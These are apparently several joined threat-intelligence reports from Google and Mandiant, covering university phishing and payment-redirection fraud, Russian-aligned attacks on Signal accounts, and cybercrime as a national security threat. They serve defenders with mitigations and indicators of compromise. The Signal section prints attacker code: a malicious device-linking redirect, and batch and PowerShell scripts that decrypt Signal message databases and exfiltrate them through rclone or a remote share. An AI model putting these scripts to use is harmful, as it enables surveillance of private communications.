Figure 3: Example Google Form phish

These Google Forms phishing campaigns are not just limited to targeting login credentials. In several instances, Mandiant observed threat actors attempting to obtain financial institution details.

Your school has collaborated with <redacted> to streamline fund distribution to students. <redacted> ensures the quickest, most dependable, and secure method for disbursing Emergency Grants to eligible students. Unfortunately, we've identified an outstanding issue regarding the distribution of your financial aid through <redacted>. We kindly request that you review and, if necessary, update your <redacted> information within the net 24 hours. Failing to address this promptly may result in delays in receiving your funds.

Figure 4: Example Google Form phish

After successfully compromising and propagating additional phishes using the compromised environment, the threat actor then uses the victim’s infrastructure to host a similar campaign targeting future victims. In some cases, the Google Form link was shut down and then repurposed to further the attacker’s objectives.

Case Study 2: Website Cloning and Redirection

This campaign involves a sophisticated phishing attack where threat actors cloned a university website, mimicking the legitimate login portal. However, this cloned website involved a series of redirects, specifically targeting mobile devices. 

The embedded JavaScript performs a “mobile check” and user-agent string verification and performed the following hex-encoded redirect:

if (window.mobileCheck()) {
 window.location.href="\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74 \x6c\x79\x2e\x74\x6f\x64\x61\x79\x2f\x4a\x4e\x78\x30\x72\x37";
 }

Figure 5: JavaScript Hex-encoded redirect

This JavaScript checks to determine if the user is on a mobile device. If they are, it redirects them to one of several possible follow-on URLs. These are two examples:

• hxxp://cutly[.]today/JNx0r7
• hxxp://kutly[.]win/Nyq0r4

Case Study 3: Two-Step Phishing Campaign Targeting Staff and Students

Google’s Workspace Trust and Safety team also observed a two-step phishing campaign targeting staff and students. First, attackers send a phishing email to faculty and staff. The emails are designed to entice faculty and staff to provide their login credentials in order to view a document about a raise or bonus.

Figure 6: Example of phishing email targeting faculty and staff

Next, attackers use login credentials provided by faculty and staff to hijack their account and email phishing forms to students. These forms are designed to look like job applications, and phish for personal and financial information.

Figure 7: Example of phishing form emailed to students

Understanding Payment Redirection Attacks

Payment redirection attacks via Business Email Compromise (BEC) are a sophisticated form of financial fraud. In these attacks, cyber threat actors gain unauthorized access to a business email account and exploit it to redirect payments meant for legitimate recipients into their own accounts. While these attacks often involve the diversion of large transfers, there have been instances where attackers divert small amounts (typically 5-10%) to lower the likelihood of detection. This outlier tactic allows them to steal funds gradually, making it more challenging to detect unauthorized transactions.

Figure 8: Payment redirection attacks

Initial Compromise: Attackers often begin by gaining access to a legitimate email account through phishing, social engineering, or exploiting vulnerabilities. A common phishing technique involves using online surveys or other similar platforms to create convincing but fraudulent login pages or forms. When unsuspecting employees enter their credentials, attackers capture them and gain unauthorized access.  

Reconnaissance: Once they have access to the email account, attackers closely monitor communications to understand the organization’s financial processes, the relationships with vendors, and the typical language used in financial transactions. This reconnaissance phase is crucial for the attackers to craft convincing fraudulent emails that appear authentic to their victims.  

Impersonation and Execution: Armed with the information gathered during reconnaissance, attackers impersonate the compromised user or create look-alike email addresses. The TA then sends emails to employees, vendors, or clients, instructing them to change payment details for an upcoming transaction. Believing these requests to be legitimate, recipients comply, and the funds are redirected to accounts controlled by the attackers.  

Withdrawal and Laundering: After the funds are diverted, attackers quickly withdraw or move the money across multiple accounts to make recovery difficult. The types of funds being stolen can vary widely and include financial aid such as FAFSA, refunds, scholarships, payroll, and other large transactions like vendor payments or grants. This diversity in targeted funds complicates efforts by organizations and law enforcement to trace and recover the stolen money, as each category may involve different institutions and processes.  

The Impact of Payment Redirection Attacks

The consequences of a successful payment redirection attack can be severe:

• Financial Losses: Organizations may lose substantial amounts of money, potentially running into millions of dollars, depending on the size of the transactions. 

• Reputational Damage: Clients and partners affected by these attacks may lose trust in the organization, which can harm long-term business relationships and brand reputation.  

• Operational Disruption: The aftermath of an attack often involves extensive investigations, coordination with financial institutions and law enforcement, and implementing enhanced security measures, all of which can disrupt normal business operations.  

Mitigating Payment Redirection Attacks

To protect against payment redirection attacks, Mandiant recommends a multi-layered approach focusing on prevention, detection, and response:

• Implement Multi-Factor Authentication (MFA): Requiring MFA for accessing email accounts adds an additional layer of security. Even if an attacker obtains a user’s credentials, they would still need the second factor to gain access, significantly reducing the risk of account compromise. Mandiant has observed many universities, which require MFA for current faculty/staff/students, but not for alumni accounts. While alumni accounts aren’t necessarily at risk of payment redirection attacks, Mandiant has identified instances where alumni accounts have been leveraged to access other user accounts in the environment.

• Conduct Employee Training: Regular training sessions can help employees recognize phishing attempts and suspicious emails. Training should emphasize vigilance against phishing forms hosted on platforms like Google Forms, and stress the importance of verifying unusual requests, especially those involving financial transactions or changes in payment details. If a Google Forms page seems suspicious, report it as phishing.

• Establish Payment Verification Protocols: Organizations should have strict procedures for verifying changes in payment information. For example, a policy that requires confirmation of changes via a known phone number or a separate communication channel can help ensure that any alterations are legitimate.  

• Use Canary Tokens for Detection: Deploying canary tokens, which are unique identifiers embedded in web pages or documents, can serve as an early warning system. If attackers scrape legitimate web pages to host them maliciously on their infrastructure, these tokens trigger alerts, notifying security teams of potential compromise or unauthorized data access.  

• Use Advanced Email Security Solutions: Deploying advanced email filtering and monitoring solutions can help detect and block malicious emails. These tools can analyze email metadata, check for domain anomalies, and identify patterns indicative of BEC attempts.

• Built-in Protections with Gmail: Employs AI, threat signals, and Safe Browsing to block 99.9% of spam, phishing, and malware, while also detecting more malware than traditional antivirus and preventing suspicious account sign-ins.

• Develop a robust Incident Response Plan: A well-defined incident response plan specifically addressing BEC scenarios enables organizations to act swiftly when an attack is detected. This plan should include procedures for containing the breach, notifying affected parties, and collaborating with financial institutions and law enforcement to recover lost funds.  

• Limit the number of emails a standard user can send in a day: Implementing a policy that restricts the number of emails a standard user can send daily provides additional safeguards in preventing the mass dissemination of phishing emails or malicious content from compromised accounts. This limit can act as a safety net, reducing the potential impact of a compromised account and making it harder for attackers to carry out large-scale phishing campaigns. 

• Context-Aware Access Monitoring: Utilize context-aware access monitoring to enhance security by analyzing the context of each login attempt. This includes  evaluating factors such as the user's location, device, and behavior patterns. If an access attempt deviates from established norms, such as an unusual login location or device, additional verification steps can be triggered. This helps detect and prevent unauthorized access, particularly in cases where credentials may have been compromised.

Detection

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included a subset of these indicators of compromise (IOCs) in this post, and in a GTI Collection for registered users.

Written by: Dan Black

Google Threat Intelligence Group (GTIG) has observed increasing efforts from several Russia state-aligned threat actors to compromise Signal Messenger accounts used by individuals of interest to Russia's intelligence services. While this emerging operational interest has likely been sparked by wartime demands to gain access to sensitive government and military communications in the context of Russia's re-invasion of Ukraine, we anticipate the tactics and methods used to target Signal will grow in prevalence in the near-term and proliferate to additional threat actors and regions outside the Ukrainian theater of war.

Signal's popularity among common targets of surveillance and espionage activity—such as military personnel, politicians, journalists, activists, and other at-risk communities—has positioned the secure messaging application as a high-value target for adversaries seeking to intercept sensitive information that could fulfill a range of different intelligence requirements. More broadly, this threat also extends to other popular messaging applications such as WhatsApp and Telegram, which are also being actively targeted by Russian-aligned threat groups using similar techniques. In anticipation of a wider adoption of similar tradecraft by other threat actors, we are issuing a public warning regarding the tactics and methods used to date to help build public awareness and help communities better safeguard themselves from similar threats.

We are grateful to the team at Signal for their close partnership in investigating this activity. The latest Signal releases on Android and iOS contain hardened features designed to help protect against similar phishing campaigns in the future. Update to the latest version to enable these features.

Phishing Campaigns Abusing Signal's "Linked Devices" Feature

The most novel and widely used technique underpinning Russian-aligned attempts to compromise Signal accounts is the abuse of the app's legitimate "linked devices" feature that enables Signal to be used on multiple devices concurrently. Because linking an additional device typically requires scanning a quick-response (QR) code, threat actors have resorted to crafting malicious QR codes that, when scanned, will link a victim's account to an actor-controlled Signal instance. If successful, future messages will be delivered synchronously to both the victim and the threat actor in real-time, providing a persistent means to eavesdrop on the victim's secure conversations without the need for full-device compromise.

• In remote phishing operations observed to date, malicious QR codes have frequently been masked as legitimate Signal resources, such as group invites, security alerts, or as legitimate device pairing instructions from the Signal website.

• In more tailored remote phishing operations, malicious device-linking QR codes have been embedded in phishing pages crafted to appear as specialized applications used by the Ukrainian military.

• Beyond remote phishing and malware delivery operations, we have also seen malicious QR codes being used in close-access operations. APT44 (aka Sandworm or Seashell Blizzard, a threat actor attributed by multiple governments to the Main Centre for Special Technologies (GTsST) within Main Directorate of the General Staff of the Armed Forces of the Russian Federation (GU), known commonly as the GRU) has worked to enable forward-deployed Russian military forces to link Signal accounts on devices captured on the battlefield back to actor-controlled infrastructure for follow-on exploitation.

Notably, this device-linking concept of operations has proven to be a low-signature form of initial access due to the lack of centralized, technology-driven detections and defenses that can be used to monitor for account compromise via newly linked devices; when successful, there is a high risk that a compromise can go unnoticed for extended periods of time.

UNC5792: Modified Signal Group Invites

To compromise Signal accounts using the device-linking feature, one suspected Russian espionage cluster tracked as UNC5792 (which partially overlaps with CERT-UA's UAC-0195) has altered legitimate "group invite" pages for delivery in phishing campaigns, replacing the expected redirection to a Signal group with a redirection to a malicious URL crafted to link an actor-controlled device to the victim's Signal account.

• In these operations, UNC5792 has hosted modified Signal group invitations on actor-controlled infrastructure designed to appear identical to a legitimate Signal group invite.

• In each of the fake group invites, JavaScript code that typically redirects the user to join a Signal group has been replaced by a malicious block containing the Uniform Resource Identifier (URI) used by Signal to link a new device to Signal (i.e., "sgnl://linkdevice?uuid="), tricking victims into linking their Signal accounts to a device controlled by UNC5792.

Figure 1: Example modified Signal group invite hosted on UNC5792-controlled domain "signal-groups[.]tech"

function doRedirect() { if (window.location.hash) { var redirect = "sgnl://signal.group/" + window.location.hash document.getElementById('go-to-group').href = redirect window.location = redirect } else { document.getElementById('join-button').innerHTML = "No group found." window.onload = doRedirect

Figure 2: Typical legitimate group invite code for redirection to a Signal group

function doRedirect() { var redirect = 'sgnl://linkdevice uuid=h_8WKmzwam_jtUeoD_NQyg%3D%3D pub_key=Ba0212mHrGIy4t%2FzCCkKkRKwiS0osyeLF4j1v8DKn%2Fg%2B' //redirect=encodeURIComponent(redirect) document.getElementById('go-to-group').href = redirect window.location = redirect window.onload = doRedirect

Figure 3: Example of UNC5792 modified redirect code used to link the victim's device to an actor-controlled Signal instance

UNC4221: Custom-Developed Signal Phishing Kit

UNC4221 (tracked by CERT-UA as UAC-0185) is an additional Russia-linked threat actor who has actively targeted Signal accounts used by Ukrainian military personnel. The group operates a tailored Signal phishing kit designed to mimic components of the Kropyva application used by the Armed Forces of Ukraine for artillery guidance. Similar to the social engineering approach used by UNC5792, UNC4221 has also attempted to mask its device-linking functionality as an invite to a Signal group from a trusted contact. Different variations of this phishing kit have been observed, including:

• Phishing websites that redirect victims to secondary phishing infrastructure masquerading as legitimate device-linking instructions provisioned by Signal (Figure 4)

• Phishing websites with the malicious device-linking QR code directly embedded into the primary Kropyva-themed phishing kit (Figure 5)

• In earlier operations in 2022, UNC4221 phishing pages were crafted to appear as a legitimate security alert from Signal (Figure 6)

Figure 4: Malicious device-linking QR code hosted on UNC4221-controlled domain "signal-confirm[.]site"

Figure 5: UNC4221 phishing page mimicking the networking component of Kropyva hosted at "teneta.add-group[.]site". The page invites the user to "Sign in to Signal" (Ukrainian: "Авторизуватись у Signal"), which in turn displays a QR code linked to an UNC4221-controlled Signal instance.

Figure 6: Phishing page crafted to appear as a Signal security alert hosted on UNC4221-controlled domain signal-protect[.]host

Notably, as a core component of its Signal targeting, UNC4221 has also used a lightweight JavaScript payload tracked as PINPOINT to collect basic user information and geolocation data using the browser's GeoLocation API. In general, we expect to see secure messages and location data to frequently feature as joint targets in future operations of this nature, particularly in the context of targeted surveillance operations or support to conventional military operations.

Wider Russian and Belarusian Efforts to Steal Messages From Signal

Beyond targeted efforts to link additional actor-controlled devices to victim Signal accounts, multiple known and established regional threat actors have also been observed operating capabilities designed to steal Signal database files from Android and Windows devices.

• APT44 has been observed operating WAVESIGN, a lightweight Windows Batch script, to periodically query Signal messages from a victim's Signal database and exfiltrate those most recent messages using Rclone (Figure 7).

• As reported in 2023 by the Security Service of Ukraine (SSU) and the UK's National Cyber Security Centre (NCSC), the Android malware tracked as Infamous Chisel and attributed by the respective organizations to Sandworm, is designed to recursively search for a list of file extensions including the local database for a series of messaging applications, including Signal, on Android devices.

• Turla, a Russian threat actor attributed by the United States and United Kingdom to Center 16 of the Federal Security Service (FSB) of the Russian Federation, has also operated a lightweight PowerShell script in post-compromise contexts to stage Signal Desktop messages for exfiltration (Figure 8).

• Extending beyond Russia, Belarus-linked UNC1151 has used the command-line utility Robocopy to stage the contents of file directories used by Signal Desktop to store messages and attachments for later exfiltration (Figure 9).

if %proflag%==1 ( C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";" ".recover" > NUL copy /y %new% C:\ProgramData\Signal\Storage\Signal\sqlorig\db.sqlite C:\ProgramData\Signal\Storage\rc.exe copy -P -I --log-file=C:\ProgramData\Signal\Storage\rclog.txt --log-level INFO C:\ProgramData\Signal\Storage\Signal\sqlorig si:SignalFresh/sqlorig del C:\ProgramData\Signal\Storage\Signal\log* rmdir /s /q C:\ProgramData\Signal\Storage\sql move C:\ProgramData\Signal\Storage\Signal\sql C:\ProgramData\Signal\Storage\sql ) ELSE ( C:\ProgramData\Signal\Storage\sqlcipher.exe %old% "PRAGMA key=""x'%key%'"";" ".recover" > NUL C:\ProgramData\Signal\Storage\sqlcipher.exe %old% "PRAGMA key=""x'%key%'"";select count(*) from sqlite_master;ATTACH DATABASE '%old_dec%' AS plaintext KEY '';SELECT sqlcipher_export('plaintext');DETACH DATABASE plaintext;" C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";" ".recover" > NUL C:\ProgramData\Signal\Storage\sqlcipher.exe %new% "PRAGMA key=""x'%key%'"";select count(*) from sqlite_master;ATTACH DATABASE '%new_dec%' AS plaintext KEY '';SELECT sqlcipher_export('plaintext');DETACH DATABASE plaintext;" C:\ProgramData\Signal\Storage\sqldiff.exe --primarykey --vtab %old_dec% %new_dec% > %diff_name% del /s %old_dec% %new_dec% rmdir /s /q C:\ProgramData\Signal\Storage\sql move C:\ProgramData\Signal\Storage\Signal\sql C:\ProgramData\Signal\Storage\sql powershell -Command "move C:\ProgramData\Signal\Storage\log.tmp C:\ProgramData\Signal\Storage\Signal\log$(Get-Date -f """ddMMyyyyHHmmss""").tmp" )

Figure 7: Code snippet from WAVESIGN used by APT44 to exfiltrate Signal messages

$TempPath = $env:tmp $TempPath = $env:temp $ComputerName = $env:computername $DFSRoot = "\\redacted" $RRoot = $DFSRoot + "resource\" $frand = Get-Random -Minimum 1 -Maximum 10000 Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\config.json" | Out-File $treslocal -Append Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\sql\db.sqlite" | Out-File $treslocal -Append Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\config.json" | Out-File $treslocal -Append Get-ChildItem "C:\Users\..\AppData\Roaming\SIGNAL\sql\db.sqlite" | Out-File $treslocal -Append $file1 = $ComputerName + "_" + $frand + "sig.zip" $zipfile = $TempPath + "\" + $file1 $resfile = $RRoot + $file1 Compress-Archive -Path "C:\Users\..\AppData\Roaming\SIGNAL\config.json" -DestinationPath $zipfile Copy-Item -Path $zipfile -Destination $resfile -Force Remove-Item -Path $zipfile -Force

Figure 8: PowerShell script used by Turla to exfiltrate Signal messages

C:\Windows\system32\cmd.exe /C cd %appdata% && robocopy "%userprofile%\AppData\Roaming\Signal" C:\Users\Public\data\signa /S

Figure 9: Robocopy command used by UNC1151 to stage Signal file directories for exfiltration

Outlook and Implications

The operational emphasis on Signal from multiple threat actors in recent months serves as an important warning for the growing threat to secure messaging applications that is certain to intensify in the near-term. When placed in a wider context with other trends in the threat landscape, such as the growing commercial spyware industry and the surge of mobile malware variants being leveraged in active conflict zones, there appears to be a clear and growing demand for offensive cyber capabilities that can be used to monitor the sensitive communications of individuals who rely on secure messaging applications to safeguard their online activity.

As reflected in wide ranging efforts to compromise Signal accounts, this threat to secure messaging applications is not limited to remote cyber operations such as phishing and malware delivery, but also critically includes close-access operations where a threat actor can secure brief access to a target's unlocked device. Equally important, this threat is not only limited to Signal, but also extends to other widely used messaging platforms, including WhatsApp and Telegram, which have likewise factored into the targeting priorities of several of the aforementioned Russia-aligned groups in recent months. For an example of this wider targeting interest, see Microsoft Threat Intelligence's recent blog post on a COLDRIVER (aka UNC4057 and Star Blizzard) campaign attempting to abuse the linked device feature to compromise WhatsApp accounts.  

Potential targets of government-backed intrusion activity targeting their personal devices should adopt practices to help safeguard themselves, including:

• Enable screen lock on all mobile devices using a long, complex password with a mix of uppercase and lowercase letters, numbers, and symbols. Android supports alphanumeric passwords, which offer significantly more security than numeric-only PINs or patterns.

• Install operating system updates as soon as possible and always use the latest version of Signal and other messaging apps.

• Ensure Google Play Protect is enabled, which is on by default on Android devices with Google Play Services. Google Play Protect checks your apps and devices for harmful behavior and can warn users or block apps known to exhibit malicious behavior, even when those apps come from sources outside of Play.

• Audit linked devices regularly for unauthorized devices by navigating to the "Linked devices" section in the application's settings.

• Exercise caution when interacting with QR codes and web resources purporting to be software updates, group invites, or other notifications that appear legitimate and urge immediate action.

• If available, use two-factor authentication such as fingerprint, facial recognition, a security key, or a one-time code to verify when your account is logged into or linked to a new device.

• iPhone users concerned about targeted surveillance or espionage activity should consider enabling Lockdown Mode to reduce their attack surface.

aside_block

<ListValue: [StructValue([('title', 'More insights on this threat activity'), ('body', <wagtail.rich_text.RichText object at 0x3ec3867668e0>), ('btn_text', 'Listen now'), ('href', 'https://open.spotify.com/episode/3reADyxut9u4ueSPlCma8I'), ('image', <GAEImage: Defender's Advantage podcast>)])]>

Indicators of Compromise

To assist organizations hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

See Table 1 for a sample of relevant indicators of compromise.

Actor

Indicator of Compromise

Context 

UNC5792

e078778b62796bab2d7ab2b04d6b01bf

Example of altered group invite HTML code 

add-signal-group[.]com

add-signal-groups[.]com

group-signal[.]com

groups-signal[.]site

signal-device-off[.]online

signal-group-add[.]com

signal-group[.]site

signal-group[.]tech

signal-groups-add[.]com

signal-groups[.]site

signal-groups[.]tech

signal-security[.]online

signal-security[.]site

signalgroup[.]site

signals-group[.]com

Fake group invite phishing pages

UNC4221

signal-confirm[.]site

confirm-signal[.]site

Device-linking instructions phishing page

signal-protect[.]host

Fake Signal security alert 

teneta.join-group[.]online

teneta.add-group[.]site

group-teneta[.]online

helperanalytics[.]ru

group-teneta[.]online

teneta[.]group

group.kropyva[.]site

Fake Kropyva group invites 

APT44

150.107.31[.]194:18000

Dynamically generated device-linking QR code provisioned by APT44

a97a28276e4f88134561d938f60db495

b379d8f583112cad3cf60f95ab3a67fd

b27ff24870d93d651ee1d8e06276fa98

WAVESIGN batch scripts 

Table 1: Relevant indicators of compromise

See Table 2 for a summary of the different actors, tactics, and techniques used by Russia and Belarus state-aligned threat actors to target Signal messages.

Threat Actor 

Tactic 

Technique

UNC5792

Linked device

Remote phishing operations using fake group invites to pair a victim's Signal messages to an actor-controlled device

UNC4221

Linked device

Remote phishing operations using fake military web applications and security alerts to pair a victim's Signal messages to an actor-controlled device

APT44

Linked device

Close-access physical device exploitation to pair a victim's Signal messages to an actor-controlled device

Signal Android database theft

Android malware (Infamous Chisel) tailored to exfiltrate Signal database files

Signal Desktop database theft 

Windows Batch script tailored to periodically exfiltrate recent Signal messages via Rclone

Turla

Signal Desktop database theft 

Post-compromise activity in Windows environments

UNC1151

Signal Desktop database theft 

Use of Robocopy to stage Signal Desktop file directories for exfiltration

Table 2: Summary of observed threat activity targeting Signal messages

Executive Summary

Cybercrime makes up a majority of the malicious activity online and occupies the majority of defenders' resources. In 2024, Mandiant Consulting responded to almost four times more intrusions conducted by financially motivated actors than state-backed intrusions. Despite this overwhelming volume, cybercrime receives much less attention from national security practitioners than the threat from state-backed groups. While the threat from state-backed hacking is rightly understood to be severe, it should not be evaluated in isolation from financially motivated intrusions. 

A hospital disrupted by a state-backed group using a wiper and a hospital disrupted by a financially motivated group using ransomware have the same impact on patient care. Likewise, sensitive data stolen from an organization and posted on a data leak site can be exploited by an adversary in the same way data exfiltrated in an espionage operation can be. These examples are particularly salient today, as criminals increasingly target and leak data from hospitals. Healthcare's share of posts on data leak sites has doubled over the past three years, even as the number of data leak sites tracked by Google Threat Intelligence Group has increased by nearly 50% year over year. The impact of these attacks mean that they must be taken seriously as a national security threat, no matter the motivation of the actors behind it.

Cybercrime also facilitates state-backed hacking by allowing states to purchase cyber capabilities, or co-opt criminals to conduct state-directed operations to steal data or engage in disruption. Russia has drawn on criminal capabilities to fuel the cyber support to their war in Ukraine. GRU-linked APT44 (aka Sandworm), a unit of Russian military intelligence, has employed malware available from cybercrime communities to conduct espionage and disruptive operations in Ukraine and CIGAR (aka RomCom), a group that historically focused on cybercrime, has conducted espionage operations against the Ukrainian government since 2022. However, this is not limited to Russia. Iranian threat groups deploy ransomware to raise funds while simultaneously conducting espionage, and Chinese espionage groups often supplement their income with cybercrime. Most notably, North Korea uses state-backed groups to directly generate revenue for the regime. North Korea has heavily targeted cryptocurrencies, compromising exchanges and individual victims’ crypto wallets. 

Despite the overlaps in effects and collaboration with states, tackling the root causes of cybercrime requires fundamentally different solutions. Cybercrime involves collaboration between disparate groups often across borders and without respect to sovereignty. Any solution requires international cooperation by both law enforcement and intelligence agencies to track, arrest, and prosecute these criminals. Individual takedowns can have important temporary effects, but the collaborative nature of cybercrime means that the disrupted group will be quickly replaced by others offering the same service. Achieving broader success will require collaboration between countries and public and private sectors on systemic solutions such as increasing education and resilience efforts.

aside_block

<ListValue: [StructValue([('title', 'Cybercrime: A Multifaceted National Security Threat'), ('body', <wagtail.rich_text.RichText object at 0x3ec386771070>), ('btn_text', 'Download now'), ('href', 'https://services.google.com/fh/files/misc/cybercrime-multifaceted-national-security-threat.pdf'), ('image', <GAEImage: cybercrime-cover>)])]>

Stand-Alone Cybercrime is a Threat to Countries' National Security

Financially motivated cyber intrusions, even those without any ties to state goals, harm national security. A single incident can be impactful enough on its own to have a severe consequence on the victim and disrupt citizens' access to critical goods and services. The enormous volume of financially motivated intrusions occurring every day also has a cumulative impact, hurting national economic competitiveness and placing huge strain on cyber defenders, leading to decreased readiness and burnout.

A Single Financially-Motivated Operation Can Have Severe Effects

Cybercrime, particularly ransomware attacks, are a serious threat to critical infrastructure. Disruptions to energy infrastructure, such as the 2021 Colonial Pipeline attack, a 2022 incident at the Amsterdam-Rotterdam-Antwerp refining hub, and the 2023 attack on Petro-Canada, have disrupted citizens' ability to access vital goods. While the impacts in these cases were temporary and recoverable, a ransomware attack during a weather emergency or other acute situation could have devastating consequences.

Beyond energy, the ransomware attacks on the healthcare sector have had the most severe consequences on everyday people. At the height of the pandemic in early 2020, it appeared that ransomware groups might steer clear of hospitals, with multiple groups making statements to that effect, but the forbearance did not hold. Healthcare organizations' critical missions and the high impact of disruptions have led them to be perceived as more likely to pay a ransom and led some groups to increase their focus on targeting healthcare. The healthcare industry, especially hospitals, almost certainly continues to be a lucrative target for ransomware operators given the sensitivity of patient data and the criticality of the services that it provides.

Since 2022, Google Threat Intelligence Group (GTIG) has observed a notable increase in the number of data leak site (DLS) victims from within the hospital subsector. Data leak sites, which are used to release victim data following data theft extortion incidents, are intended to pressure victims to pay a ransom demand or give threat actors additional leverage during ransom negotiations. 

• In July 2024, the Qilin (aka "AGENDA") DLS announced upcoming attacks targeting US healthcare organizations. They followed through with this threat by adding a regional medical center to their list of claimed victims on the DLS the following week, and adding multiple healthcare and dental clinics in August 2024. The ransomware operators have purportedly stated that they focus their targeting on sectors that pay well, and one of those sectors is healthcare.

• In March 2024, the RAMP forum actor "badbone," who has been associated with INC ransomware, sought illicit access to Dutch and French medical, government, and educational organizations, stating that they were willing to pay 2–5% more for hospitals, particularly ones with emergency services.

Studies from academics and internal hospital reviews have shown that the disruptions from ransomware attacks go beyond inconvenience and have led to life-threatening consequences for patients. Disruptions can impact not just individual hospitals but also the broader healthcare supply chain. Cyberattacks on companies that manufacture critical medications and life-saving therapies can have far-reaching consequences worldwide. 

• A recent study from researchers at the University of Minnesota - Twin Cities School of Public Health showed that among patients already admitted to a hospital when a ransomware attack takes place, "in-hospital mortality increases by 35 - 41%."

• Public reporting stated that UK National Health Service data showed a June 2024 ransomware incident at a contractor led to multiple cases of "long-term or permanent impact on physical, mental or social function or shortening of life-expectancy," with more numerous cases of less severe effects.

Ransomware operators are aware that their attacks on hospitals will have severe consequences and will likely increase government attention on them. Although some have devised strategies to mitigate the blowback from these operations, the potential monetary rewards associated with targeting hospitals continue to drive attacks on the healthcare sector.

• The actor "FireWalker," who has recruited partners for REDBIKE (aka Akira) ransomware operations, indicated a willingness to accept access to government and medical targets, but in those cases a different ransomware called "FOULFOG" would be used.

• Leaked private communications broadly referred to as the "ContiLeaks" reveal that the actors expected their plan to target the US healthcare system in the fall of 2020 to cause alarm, with one actor stating "there will be panic."

Economic Disruption

On May 8, 2022, Costa Rican President Rodrigo Chaves declared a national emergency caused by CONTI ransomware attacks against several Costa Rican government agencies the month prior. These intrusions caused widespread disruptions in government medical, tax, pension, and customs systems. With imports and exports halted, ports were overwhelmed, and the country reportedly experienced millions of dollars of losses. The remediation costs extended beyond Costa Rica; Spain supported the immediate response efforts, and in 2023, the US announced $25 million USD in cybersecurity aid to Costa Rica. 

While the Costa Rica incident was exceptional, responding to a cybercrime incident can involve significant expenses for the affected entity, such as paying multi-million dollar ransom demands, loss of income due to system downtime, providing credit monitoring services to impacted clients, and paying remediation costs and fines. In just one example, a US healthcare organization reported $872 million USD in "unfavorable cyberattack effects" after a disruptive incident. In the most extreme cases, these costs can contribute to organizations ceasing operations or declaring bankruptcy. 

In addition to the direct impacts to individual organizations, financial impacts often extend to taxpayers and can have significant impacts on the national economy due to follow-on effects of the disruptions. The US Federal Bureau of Investigation's Internet Crime Complaint Center (IC3) has indicated that between October 2013 and December 2023, business email compromise (BEC) operations alone led to $55 billion USD in losses. The cumulative effect of these cybercrime incidents can have an impact on a country's economic competitiveness. This can be particularly severe for smaller or developing countries, especially those with a less diverse economy.

Data Leak Sites Add Additional Threats

In addition to deploying ransomware to interfere with business operations, criminal groups have added the threat of leaking data stolen from victims to bolster their extortion operations. This now standard tactic has increased the volume of sensitive data being posted by criminals and created an opportunity for it to be obtained and exploited by state intelligence agencies. 

Threat actors post proprietary company data—including research and product designs—on data leak sites where they are accessible to the victims' competitors. GTIG has previously observed threat actors sharing tips for targeting valuable data for extortion operations. In our research, GTIG identified Conti "case instructions" indicating that actors should prioritize certain types of data to use as leverage in negotiations, including files containing confidential information, document scans, HR documents, company projects, and information protected by the General Data Protection Regulation (GDPR).

The number of data leak sites has proliferated, with the number of sites tracked by GTIG almost doubling since 2022. Leaks of confidential business and personal information by extortion groups can cause embarrassment and legal consequences for the affected organization, but they also pose national security threats. If a company's confidential intellectual property is leaked, it can undermine the firm's competitive position in the market and undermine the host country's economic competitiveness. The wide-scale leaking of personally identifiable information (PII) also creates an opportunity for foreign governments to collect this information to facilitate surveillance and tracking of a country's citizens.

Cybercrime Directly Supporting State Activity

Since the earliest computer network intrusions, financially motivated actors have conducted operations for the benefit of hostile governments. While this pattern has been consistent, the heightened level of cyber activity following Russia's war in Ukraine has shown that, in times of heightened need, the latent talent pool of cybercriminals can be paid or coerced to support state goals. Operations carried out in support of the state, but by criminal actors, have numerous benefits for their sponsors, including a lower cost and increased deniability. As the volume of financially motivated activity increases, the potential danger it presents does as well.

States as a Customer in Cybercrime Ecosystems

Modern cybercriminals are likely to specialize in a particular area of cybercrime and partner with other entities with diverse specializations to conduct operations. The specialization of cybercrime capabilities presents an opportunity for state-backed groups to simply show up as another customer for a group that normally sells to other criminals. Purchasing malware, credentials, or other key resources from illicit forums can be cheaper for state-backed groups than developing them in-house, while also providing some ability to blend in to financially motivated operations and attract less notice.

Russian State Increasingly Leveraging Malware, Tooling Sourced from Crime Marketplaces

Google assesses that resource constraints and operational demands have contributed to Russian cyber espionage groups' increasing use of free or publicly available malware and tooling, including those commonly employed by criminal actors to conduct their operations. Following Russia's full-scale invasion of Ukraine, GTIG has observed groups suspected to be affiliated with Russian military intelligence services adopt this type of "low-equity" approach to managing their arsenal of malware, utilities, and infrastructure. The tools procured from financially motivated actors are more widespread and lower cost than those developed by the government. This means that if an operation using this malware is discovered, the cost of developing a new tool will not be borne by the intelligence agency; additionally, the use of such tools may assist in complicating attribution efforts. Notably, multiple threat clusters with links to Russian military intelligence have leveraged disruptive malware adapted from existing ransomware variants to target Ukrainian entities. 

APT44 (Sandworm, FROZENBARENTS)

APT44, a threat group sponsored by Russian military intelligence, almost certainly relies on a diverse set of Russian companies and criminal marketplaces to source and sustain its more frequently operated offensive capabilities. The group has used criminally sourced tools and infrastructure as a source of disposable capabilities that can be operationalized on short notice without immediate links to its past operations. Since Russia's full-scale invasion of Ukraine, APT44 has increased its use of such tooling, including malware such as DARKCRYSTALRAT (DCRAT), WARZONE, and RADTHIEF ("Rhadamanthys Stealer"), and bulletproof hosting infrastructure such as that provided by the Russian-speaking actor "yalishanda," who advertises in cybercriminal underground communities.

• APT44 campaigns in 2022 and 2023 deployed RADTHIEF against victims in Ukraine and Poland. In one campaign, spear-phishing emails targeted a Ukrainian drone manufacturer and leveraged SMOKELOADER, a publicly available downloader popularized in a Russian-language underground forum that is still frequently used in criminal operations, to load RADTHIEF. 

